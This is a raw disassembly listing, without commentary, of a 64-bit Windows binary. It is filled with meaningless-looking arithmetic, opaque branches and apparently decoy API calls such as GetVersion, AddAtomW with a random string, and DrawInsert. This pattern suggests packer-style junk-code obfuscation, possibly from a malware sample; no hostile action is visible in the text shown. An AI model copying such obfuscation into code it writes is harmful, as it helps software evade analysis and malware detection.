mov ecx, dword [rsp + 0xa270]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xa264], eax
mov rax, qword [rsp + 0x13eb8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2b28]
sub eax, ecx
mov word [rsp + 0x2b40], ax
movzx eax, byte [rsp + 0x4f2]
movzx ecx, byte [rsp + 0x2d7]
and eax, ecx
mov rcx, qword [rsp + 0x13e98]
mov byte [rcx], al
movsx eax, byte [rsp + 0x630]
movsx ecx, byte [0x140281da7]
add eax, ecx
mov rcx, qword [rsp + 0x13ea8]
mov byte [rcx], al
mov rax, qword [rsp + 0x13e78]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x7d08]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x13f10]
mov dword [rcx], eax
mov rax, qword [rsp + 0x13ea0]
mov ecx, dword [0x140282690]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xa2a8], eax
mov eax, dword [rsp + 0xa24c]
mov ecx, dword [rsp + 0xa250]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x84a4], eax
movzx eax, word [rsp + 0x2b28]
movzx ecx, word [rsp + 0x2b30]
sub eax, ecx
mov rcx, qword [rsp + 0x13eb8]
mov word [rcx], ax
mov rax, qword [rsp + 0x13ea8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x13e88]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [0x140281da7], al
mov rax, qword [rsp + 0x13e78]
mov rcx, qword [rsp + 0x13f10]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xa2a8], eax
mov rax, qword [rsp + 0x13ea0]
mov rcx, qword [rsp + 0x13f10]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x13ea0]
mov dword [rcx], eax
movsx eax, word [rsp + 0x1948]
movsx ecx, word [rsp + 0x2b2c]
or eax, ecx
mov word [rsp + 0x2b34], ax
lea rcx, [rsp + 0x225a8]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
movsx eax, byte [rsp + 0x630]
movsx ecx, byte [0x140281da7]
sar eax, cl
mov byte [rsp + 0x62e], al
mov rax, qword [rsp + 0x13eb8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2b28]
shl eax, cl
mov word [rsp + 0x2b38], ax
mov rax, qword [rsp + 0x13f18]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x13e98]
movzx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x4f2], al
movzx eax, byte [rsp + 0x62f]
mov rcx, qword [rsp + 0x13f18]
movzx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x13e98]
mov byte [rcx], al
mov eax, dword [rsp + 0x84a4]
mov ecx, dword [rsp + 0x9e40]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xa250], eax
mov rax, qword [rsp + 0x13f10]
mov rcx, qword [rsp + 0x13e78]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [0x14028eec8], eax
mov rax, qword [rsp + 0x13ea0]
mov ecx, dword [rsp + 0xa2a8]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x13e78]
mov dword [rcx], eax
mov rax, qword [rsp + 0x13ea0]
mov rcx, qword [rsp + 0x13f10]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xa238], eax
mov rax, qword [rsp + 0x13eb8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2b40]
add eax, ecx
mov word [rsp + 0x2b28], ax
movzx eax, byte [rsp + 0x62f]
movzx ecx, byte [rsp + 0x285]
sub eax, ecx
mov rcx, qword [rsp + 0x13e98]
mov byte [rcx], al
mov eax, dword [rsp + 0xa250]
mov ecx, dword [rsp + 0x9e40]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xa24c], eax
mov rax, qword [rsp + 0x13ea0]
mov ecx, dword [rsp + 0xa2a8]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xa238], eax
mov eax, dword [rsp + 0xa238]
mov rcx, qword [rsp + 0x13f10]
mov qword [rsp + 0x13f30], rcx
movzx ecx, al
mov rax, qword [rsp + 0x13f30]
mov eax, dword [rax]
sar eax, cl
mov dword [rsp + 0xa278], eax
mov eax, dword [rsp + 0xa24c]
movzx ecx, al
mov eax, dword [rsp + 0x9e40]
shl eax, cl
mov dword [rsp + 0xa250], eax
mov rax, qword [rsp + 0x13eb8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2b40]
or eax, ecx
mov word [rsp + 0x2b38], ax
mov rax, qword [rsp + 0x13f10]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa270]
xor ecx, eax
mov eax, ecx
mov dword [0x140282690], eax
movsx eax, word [rsp + 0x2b24]
movsx ecx, word [rsp + 0x1948]
and eax, ecx
mov word [rsp + 0x2b2c], ax
mov rax, qword [rsp + 0x13ea8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x630]
sub eax, ecx
mov rcx, qword [rsp + 0x13ea8]
mov byte [rcx], al
cmp dword [rsp + 0xa298], 0xcc49
ja 0x14001689f
mov eax, dword [rsp + 0xa24c]
mov dword [rsp + 0xa2b8], eax
cmp dword [rsp + 0xa2b8], 0x11f6
je 0x140016dfe
cmp dword [rsp + 0xa2b8], 0x16ba
je 0x140016ec8
jmp 0x140016f1d
mov rax, qword [rsp + 0x13ea8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x630]
sub eax, ecx
mov rcx, qword [rsp + 0x13e88]
mov byte [rcx], al
mov r9d, 0xe1
mov r8d, 1
mov edx, 0x84
mov rcx, qword [rsp + 0x13f38]
call sub.COMCTL32.dll_DefSubclassProc
mov qword [rsp + 0x13f40], rax
mov rax, qword [rsp + 0x13f18]
movzx edx, byte [rax]
movzx ecx, byte [rsp + 0x4f2]
call fcn.140208c00
mov eax, dword [rsp + 0x7d08]
mov ecx, dword [0x140282690]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xa278], eax
movzx eax, word [rsp + 0x1840]
movzx ecx, word [rsp + 0x2b38]
add eax, ecx
mov word [rsp + 0x2b28], ax
mov rax, qword [rsp + 0x13e98]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x13f18]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x2d7], al
mov rax, qword [rsp + 0x13ea0]
mov ecx, dword [rsp + 0xa270]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xa238], eax
jmp 0x140016f1d
mov eax, dword [rsp + 0x9e40]
mov ecx, dword [rsp + 0xa250]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xa24c], eax
mov rax, qword [rsp + 0x13f10]
mov rcx, qword [rsp + 0x13ea0]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [0x140282690], eax
mov rax, qword [rsp + 0x13ea0]
mov rcx, qword [rsp + 0x13e78]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x13ea0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x13e98]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x13f18]
movzx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x4f2], al
movzx eax, word [rsp + 0x1840]
mov word [rsp + 0x2b48], ax
mov eax, dword [rsp + 0x84a4]
mov ecx, dword [rsp + 0x9e40]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0xa250], eax
mov eax, dword [0x14028eec8]
mov ecx, dword [rsp + 0xa278]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0xa264], eax
cmp dword [rsp + 0xa288], 0xd771
jb 0x1400172cb
mov eax, dword [rsp + 0xa278]
mov rcx, qword [rsp + 0x13ea0]
mov qword [rsp + 0x13f48], rcx
movzx ecx, al
mov rax, qword [rsp + 0x13f48]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0xa2a8], eax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0xa26c], eax
mov rax, qword [rsp + 0x13f10]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa238]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0xa278], eax
mov eax, dword [rsp + 0x7d08]
mov ecx, dword [0x14028eec8]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xa270], eax
movsx eax, byte [rsp + 0x62e]
movsx ecx, byte [rsp + 0x630]
sub eax, ecx
mov byte [0x140281da7], al
movsx eax, word [rsp + 0x2b2c]
movsx ecx, word [rsp + 0x2b34]
sub eax, ecx
mov word [rsp + 0x1948], ax
mov rax, qword [rsp + 0x13e98]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x2d7]
sub eax, ecx
mov byte [rsp + 0x285], al
movzx eax, word [rsp + 0x1840]
mov rcx, qword [rsp + 0x13eb8]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x2b40], ax
mov eax, dword [0x14028eec4]
mov ecx, dword [rsp + 0xa250]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0xa24c], eax
mov eax, dword [rsp + 0xa250]
mov ecx, dword [rsp + 0xa24c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x9e40], eax
movzx eax, word [rsp + 0x2b40]
movzx ecx, word [rsp + 0x2b38]
add eax, ecx
mov word [rsp + 0x2b48], ax
movzx eax, byte [rsp + 0x62f]
movzx ecx, byte [rsp + 0x4f2]
add eax, ecx
mov byte [rsp + 0x285], al
mov rax, qword [rsp + 0x13e78]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0xa270]
sar eax, cl
mov dword [rsp + 0xa278], eax
mov eax, dword [rsp + 0xa250]
mov ecx, dword [rsp + 0xa24c]
or ecx, eax
mov eax, ecx
mov dword [0x14028eec4], eax
mov eax, dword [rsp + 0xa278]
mov ecx, dword [rsp + 0xa264]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x13ea0]
mov dword [rcx], eax
call qword [sym.imp.KERNEL32.dll_AreFileApisANSI]
mov dword [rsp + 0xa29c], eax
mov eax, dword [rsp + 0xa278]
movzx ecx, al
mov eax, dword [0x140282690]
shl eax, cl
mov dword [rsp + 0xa264], eax
mov rax, qword [rsp + 0x13eb8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2b28]
and eax, ecx
mov word [rsp + 0x2b30], ax
movzx eax, byte [rsp + 0x2d7]
movzx ecx, byte [rsp + 0x4f2]
sub eax, ecx
mov byte [rsp + 0x62f], al
mov eax, dword [rsp + 0xa250]
mov ecx, dword [rsp + 0xa24c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x84a4], eax
xor r9d, r9d
xor r8d, r8d
mov edx, 0x99ec
mov rcx, qword [rsp + 0x13eb0]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0xa26c], eax
mov eax, dword [rsp + 0xa270]
mov ecx, dword [0x14028eec8]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xa2b0], eax
movsx eax, word [rsp + 0x1948]
movsx ecx, word [rsp + 0x2b34]
add eax, ecx
mov word [rsp + 0x2b24], ax
movsx eax, byte [rsp + 0x630]
movsx ecx, byte [0x140281da7]
sub eax, ecx
mov byte [rsp + 0x62e], al
mov rax, qword [rsp + 0x13f10]
mov rcx, qword [rsp + 0x13ea0]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [0x14028eec8], eax
mov rax, qword [rsp + 0x13eb8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2b38]
and eax, ecx
mov rcx, qword [rsp + 0x13eb8]
mov word [rcx], ax
mov eax, dword [rsp + 0xa288]
sub eax, 0xdb
mov dword [rsp + 0xa288], eax
mov eax, dword [rsp + 0xa250]
mov ecx, dword [rsp + 0x9e40]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x84a4], eax
mov eax, dword [rsp + 0x7d08]
mov ecx, dword [rsp + 0xa264]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x13ea0]
mov dword [rcx], eax
mov eax, dword [rsp + 0xa2a8]
mov rcx, qword [rsp + 0x13e78]
mov qword [rsp + 0x13f50], rcx
movzx ecx, al
mov rax, qword [rsp + 0x13f50]
mov eax, dword [rax]
sar eax, cl
mov dword [rsp + 0xa278], eax
mov eax, dword [rsp + 0xa24c]
movzx ecx, al
mov eax, dword [rsp + 0xa250]
shl eax, cl
mov dword [rsp + 0x9e40], eax
jmp 0x140016f7d
mov eax, dword [rsp + 0x7d08]
mov ecx, dword [rsp + 0xa264]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x8e48], eax
lea rax, [rsp + 0x285]
mov qword [rsp + 0x13f58], rax
mov eax, dword [rsp + 0xa24c]
mov ecx, dword [0x14028eec4]
sub ecx, eax
mov eax, ecx
mov ecx, dword [rsp + 0xa250]
mov edx, dword [rsp + 0x84a4]
and edx, ecx
mov ecx, edx
cmp eax, ecx
jne 0x14001735f
movzx eax, word [0x140282698]
mov rcx, qword [rsp + 0x13eb8]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x2b40], ax
mov eax, dword [rsp + 0xa250]
mov ecx, dword [rsp + 0x9e40]
add ecx, eax
mov eax, ecx
mov dword [0x14028269c], eax
mov eax, dword [rsp + 0xa270]
mov dword [rsp + 0xa2bc], eax
jmp 0x14001737b
mov r8d, 0xe4
mov rdx, qword [rsp + 0x13f60]
mov rcx, qword [rsp + 0x13ec8]
call qword [sym.imp.COMCTL32.dll_DrawInsert]
mov dword [rsp + 0xa2c0], 0x7410
mov eax, dword [rsp + 0x84a4]
mov ecx, dword [rsp + 0xa24c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x9e40], eax
mov dword [rsp + 0xa2c4], 0xeedc
mov rax, qword [rsp + 0x13f10]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa238]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xa2bc], eax
mov rax, qword [rsp + 0x13f10]
mov ecx, dword [rsp + 0x8e48]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xa264], eax
movzx eax, byte [rsp + 0x2d7]
movzx ecx, byte [rsp + 0x285]
and eax, ecx
mov byte [rsp + 0x62f], al
mov rax, qword [rsp + 0x13eb8]
movzx eax, word [rax]
movzx ecx, word [0x140282698]
xor eax, ecx
mov word [rsp + 0x2b30], ax
movsx eax, byte [rsp + 0x62e]
movsx ecx, byte [0x140281da7]
shl eax, cl
mov byte [rsp + 0x630], al
mov rax, qword [rsp + 0x13ea8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x62e]
or eax, ecx
mov rcx, qword [rsp + 0x13e88]
mov byte [rcx], al
mov eax, dword [rsp + 0xa260]
add eax, 0xc0
mov dword [rsp + 0xa260], eax
mov rax, qword [rsp + 0x13f18]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x2d7]
sar eax, cl
mov rcx, qword [rsp + 0x13f18]
mov byte [rcx], al
mov rax, qword [rsp + 0x13e78]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa2a8]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xa270], eax
movzx eax, word [0x140282698]
mov rcx, qword [rsp + 0x13eb8]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1840], ax
movzx eax, byte [rsp + 0x2d7]
movzx ecx, byte [rsp + 0x285]
and eax, ecx
mov byte [rsp + 0x62f], al
mov eax, dword [rsp + 0xa24c]
mov ecx, dword [rsp + 0x9e40]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x84a4], eax
mov rax, qword [rsp + 0x13e78]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa270]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xa2a8], eax
mov rax, qword [rsp + 0x13f10]
mov rcx, qword [rsp + 0x13ea0]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xa278], eax
mov eax, dword [rsp + 0xa24c]
mov ecx, dword [rsp + 0x84a4]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xa250], eax
movzx eax, word [rsp + 0x1840]
mov rcx, qword [rsp + 0x13eb8]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x2b28], ax
cmp dword [rsp + 0xa260], 0xc076
jne 0x1400173aa
mov rax, qword [rsp + 0x13e78]
mov eax, dword [rax]
mov dword [rsp + 0xa2c8], eax
cmp dword [rsp + 0xa2c8], 0x396f
je 0x140017588
jmp 0x1400175a7
call fcn.140208c60
movsx eax, byte [rsp + 0x630]
movsx ecx, byte [rsp + 0x62e]
sub eax, ecx
mov byte [0x140281da7], al
jmp 0x1400175ed
mov rax, qword [rsp + 0x13ea0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa264]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xa2b0], eax
mov rax, qword [rsp + 0x13ea0]
mov eax, dword [rax]
mov dword [rsp + 0xa2cc], eax
mov eax, dword [rsp + 0xa250]
mov ecx, dword [rsp + 0xa24c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x84a4], eax
movzx eax, byte [rsp + 0x4f2]
mov rcx, qword [rsp + 0x13f58]
movzx ecx, byte [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x13e98]
movzx ecx, byte [rcx]
mov dword [rsp + 0xa2d0], ecx
movzx edx, byte [rsp + 0x62f]
movzx ecx, dl
mov edx, dword [rsp + 0xa2d0]
sar edx, cl
mov ecx, edx
cmp eax, ecx
jge 0x140017669
movzx eax, byte [rsp + 0x62e]
mov byte [rsp + 0x20], al
movzx r9d, byte [rsp + 0x62e]
movzx r8d, byte [rsp + 0x630]
movzx edx, byte [rsp + 0x630]
mov rax, qword [rsp + 0x13ea8]
movzx ecx, byte [rax]
call fcn.140208ca0
jmp 0x1402087ab
mov rax, qword [rsp + 0x13eb8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2b38]
shl eax, cl
movzx ecx, word [rsp + 0x2b28]
movzx edx, word [rsp + 0x1840]
xor ecx, edx
cmp eax, ecx
jle 0x1402087ab
mov rax, qword [rsp + 0x13f18]
movzx eax, byte [rax]
mov byte [0x14028eec1], al
lea rax, [rsp + 0x2d7]
mov qword [rsp + 0x13f68], rax
lea rax, [rsp + 0xa250]
mov qword [rsp + 0x13f70], rax
mov rax, qword [rsp + 0x13e78]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa238]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xa2cc], eax
mov rax, qword [rsp + 0x13f58]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x285]
add eax, ecx
mov rcx, qword [rsp + 0x13f18]
mov byte [rcx], al
movzx eax, word [rsp + 0x2b28]
movzx ecx, word [0x140282698]
sub eax, ecx
mov word [rsp + 0x2b48], ax
mov rax, qword [rsp + 0x13f70]
mov ecx, dword [rsp + 0x84a4]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x13f70]
mov dword [rcx], eax
mov rax, qword [rsp + 0x13ea0]
mov rcx, qword [rsp + 0x13e78]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0xa2b0], eax
mov rax, qword [rsp + 0x13f10]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x13e78]
mov qword [rsp + 0x13f78], rcx
movzx ecx, al
mov rax, qword [rsp + 0x13f78]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0xa264], eax
mov eax, dword [rsp + 0x9e40]
movzx ecx, al
mov eax, dword [rsp + 0xa24c]
shr eax, cl
mov dword [0x14028eec4], eax
lea rcx, str.IqBkiw_W0_VXOEdn
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x2b44], ax
mov rax, qword [rsp + 0x13e98]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x13f68]
movzx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x2d7], al
mov rax, qword [rsp + 0x13eb8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2b40]
and eax, ecx
mov word [rsp + 0x2b30], ax
mov eax, dword [rsp + 0xa238]
mov ecx, dword [0x140282690]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x13e78]
mov dword [rcx], eax
mov eax, dword [rsp + 0xa268]
add eax, 0xe3
mov dword [rsp + 0xa268], eax
mov rax, qword [rsp + 0x13ea0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa2cc]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x13f10]
mov dword [rcx], eax
xor r9d, r9d
lea r8, [rsp + 0x13f28]
mov rdx, qword [rsp + 0x13f80]
mov rcx, qword [rsp + 0x13eb0]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0xa2b4], eax
movsx eax, word [rsp + 0x1948]
movsx ecx, word [rsp + 0x2b34]
sub eax, ecx
mov word [rsp + 0x2b24], ax
mov rax, qword [rsp + 0x13ea8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x62e]
add eax, ecx
mov byte [rsp + 0x630], al
mov rax, qword [rsp + 0x13eb8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2b28]
and eax, ecx
mov word [rsp + 0x1840], ax
mov rax, qword [rsp + 0x13f58]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x13e98]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x2d7], al
mov rax, qword [rsp + 0x13f70]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x9e40]
add ecx, eax
mov eax, ecx
mov dword [0x14028269c], eax
mov rax, qword [rsp + 0x13f70]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x9e40]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x84a4], eax
mov eax, dword [rsp + 0xa278]
mov ecx, dword [rsp + 0x7d08]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xa2cc], eax
mov rax, qword [rsp + 0x13f10]
mov ecx, dword [rsp + 0x8e48]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0xa278], eax
mov rax, qword [rsp + 0x13f10]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x13ea0]
mov qword [rsp + 0x13f88], rcx
movzx ecx, al
mov rax, qword [rsp + 0x13f88]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0xa264], eax
mov rax, qword [rsp + 0x13eb8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2b30]
sar eax, cl
mov word [rsp + 0x2b40], ax
lea rdx, [rsp + 0xa27c]
mov rcx, qword [rsp + 0x13eb0]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0xa27c], eax
cmp dword [rsp + 0xa268], 0xfbd1
jne 0x1400176e5
mov rax, qword [rsp + 0x13e98]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x285]
or eax, ecx
mov rcx, qword [rsp + 0x13f18]
mov byte [rcx], al
movsx eax, word [rsp + 0x1948]
mov dword [rsp + 0xa2d4], eax
cmp dword [rsp + 0xa2d4], 0xf7
je 0x140017a91
cmp dword [rsp + 0xa2d4], 0x492
je 0x140017a0e
jmp 0x140017b4f
mov rax, qword [rsp + 0x13f70]
mov eax, dword [rax]
mov ecx, dword [0x14028269c]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0xa250], eax
mov rax, qword [rsp + 0x13f10]
mov rcx, qword [rsp + 0x13ea0]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xa270], eax
mov rax, qword [rsp + 0x13e78]
mov rcx, qword [rsp + 0x13ea0]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xa2cc], eax
mov rax, qword [rsp + 0x13f70]
mov ecx, dword [rsp + 0xa24c]
mov eax, dword [rax]
sub eax, ecx
mov dword [0x14028eec4], eax
mov rax, qword [rsp + 0x13eb8]
movzx ecx, word [rax]
call fcn.140208bb0
jmp 0x140017b4f
movzx eax, word [rsp + 0x2b28]
movzx ecx, word [rsp + 0x2b30]
add eax, ecx
mov word [rsp + 0x2b48], ax
lea r9, [rsp + 0x13f40]
lea r8, [rsp + 0x13e88]
lea rdx, [rsp + 0x13f60]
lea rcx, [rsp + 0x13f70]
call qword [sym.imp.SHELL32.dll_PathYetAnotherMakeUniqueName]
mov dword [rsp + 0xa2d8], eax
mov rax, qword [rsp + 0x13e98]
movzx eax, byte [rax]
movzx ecx, byte [0x14028eec1]
add eax, ecx
mov rcx, qword [rsp + 0x13f58]
mov byte [rcx], al
mov rax, qword [rsp + 0x13e88]
movzx eax, byte [rax]
mov byte [rsp + 0x20], al
mov rax, qword [rsp + 0x13ea8]
movzx r9d, byte [rax]
mov rax, qword [rsp + 0x13e88]
movzx r8d, byte [rax]
movzx edx, byte [rsp + 0x630]
mov rax, qword [rsp + 0x13ea8]
movzx ecx, byte [rax]
call fcn.140208ca0
movsx eax, word [rsp + 0x1948]
movsx ecx, word [rsp + 0x2b2c]
and eax, ecx
mov word [rsp + 0x2b34], ax
lea rax, [rsp + 0x62e]
mov qword [rsp + 0x13f90], rax
cmp dword [rsp + 0xa274], 0xab2a
jb 0x140017d95
mov eax, dword [0x14028eec4]
mov ecx, dword [rsp + 0x9e40]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xa250], eax
mov rax, qword [rsp + 0x13ea0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa2b0]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x13e78]
mov dword [rcx], eax
movzx eax, word [rsp + 0x1840]
mov rcx, qword [rsp + 0x13eb8]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x2b48], ax
call qword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov dword [rsp + 0xa27c], eax
mov rax, qword [rsp + 0x13f58]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x285]
shl eax, cl
mov byte [rsp + 0x2d7], al
mov rax, qword [rsp + 0x13f10]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0xa2cc]
sar eax, cl
mov dword [0x14028eec8], eax
mov rax, qword [rsp + 0x13f70]
mov ecx, dword [rsp + 0x84a4]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0xa250], eax
mov eax, dword [rsp + 0xa278]
mov ecx, dword [rsp + 0xa2b0]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x13ea0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x13f10]
mov ecx, dword [rsp + 0xa2cc]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x13f10]
mov dword [rcx], eax
mov rax, qword [rsp + 0x13eb8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1840]
sub eax, ecx
mov word [rsp + 0x2b40], ax
movzx eax, byte [rsp + 0x62f]
movzx ecx, byte [rsp + 0x4f2]
sub eax, ecx
mov byte [rsp + 0x285], al
mov rax, qword [rsp + 0x13f70]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x84a4]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xa24c], eax
mov rax, qword [rsp + 0x13ea0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa2cc]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xa270], eax
mov rax, qword [rsp + 0x13ea0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa2a8]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xa2bc], eax
mov eax, dword [rsp + 0xa274]
sub eax, 0x42
mov dword [rsp + 0xa274], eax
mov rax, qword [rsp + 0x13ea0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa270]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x13f10]
mov dword [rcx], eax
mov rax, qword [rsp + 0x13f10]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa238]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x7d08], eax
mov rax, qword [rsp + 0x13ea8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x13f90]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x630], al
mov rax, qword [rsp + 0x13f18]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x13f68]
movzx ecx, byte [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x13f58]
mov byte [rcx], al
mov rax, qword [rsp + 0x13eb8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1840]
xor eax, ecx
mov word [rsp + 0x2b38], ax
jmp 0x140017b5f
mov rax, qword [rsp + 0x13f68]
movzx eax, byte [rax]
mov byte [rsp + 0x631], al
mov eax, dword [rsp + 0x84a4]
mov rcx, qword [rsp + 0x13f70]
mov qword [rsp + 0x13f98], rcx
movzx ecx, al
mov rax, qword [rsp + 0x13f98]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0xa24c], eax
mov eax, dword [rsp + 0xa2bc]
mov ecx, dword [rsp + 0xa270]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x13ea0]
mov ecx, dword [rcx]
mov edx, dword [rsp + 0xa238]
sub edx, ecx
mov ecx, edx
cmp eax, ecx
jg 0x140017eb6
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0xa2dc], eax
movsx eax, word [rsp + 0x1948]
movsx ecx, word [rsp + 0x2b24]
add eax, ecx
movsx ecx, word [rsp + 0x2b34]
movsx edx, word [0x140282694]
sub ecx, edx
cmp eax, ecx
jg 0x140017e98
